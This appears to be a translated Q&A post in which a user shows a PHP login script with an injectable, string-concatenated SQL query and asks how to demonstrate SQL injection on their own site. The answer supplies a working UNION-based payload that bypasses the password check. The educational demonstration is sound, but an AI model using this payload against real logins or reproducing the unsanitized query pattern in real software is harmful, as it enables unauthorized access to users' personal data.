我试图做一个sql注入由我在php上建立的网站去演示该网站的漏洞。我们的目标是在不输入密码的情况下通过表单,如果在不输入用户名的情况下通过表单就更好了。这是管理登录到保留区域的代码,我已经尝试了几种方式进入,但结果很差
<?php
$link = @mysqli_connect("localhost", "root", "", "ISdbs");
if (mysqli_connect_errno()) {
echo "Connessione fallita: " . die(mysqli_connect_error());
}
$query = "SELECT username,password from utenti where username='" . $_POST['user'] . "';";
echo "Ho eseguito la seguente query <b>",$query,"</b>";
$result = @mysqli_query($link, $query);
if (@mysqli_num_rows($result) != 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
if ($row['password'] == $_POST['pass']) {
$ID = $_POST['user'];
echo "<h1 align='center' >benvenuto nell'area riservata</h1>";
echo "<p align='center'>cosa vuoi fare?</p>";
echo "<div'><ul'>
<li><a href='eliminaUtente.php?id=$ID'>Eliminare l'utente</a></li>
<li><a href='visualizzaCF.php?id=$ID'>Visualizza i tuoi dati segreti</a></li>
</ul></div>";
}
else
echo "<h1>username o password errati</h1>";
}
}
else
echo "<h1>username o password errati</h1>";
?>
sql表有7个字段(CF,姓名,姓氏,电话,地址,用户名,密码),但是在登录过程中只使用用户名和密码。
如果目标是在代码中到达h1
行,则需要发布以下用户名:
' union all select username, '' from utenti where '' = '
这将产生以下sql(格式化后):
select username, password from utenti where username = ''
union all
select username, '' from utenti where '' = '';
这将返回表中的所有行,并且密码列将包含空白字符串。这应该满足$row['password'] == $_POST['pass']
检查,并且您的超级密码将在没有任何人知道任何密码的情况下执行。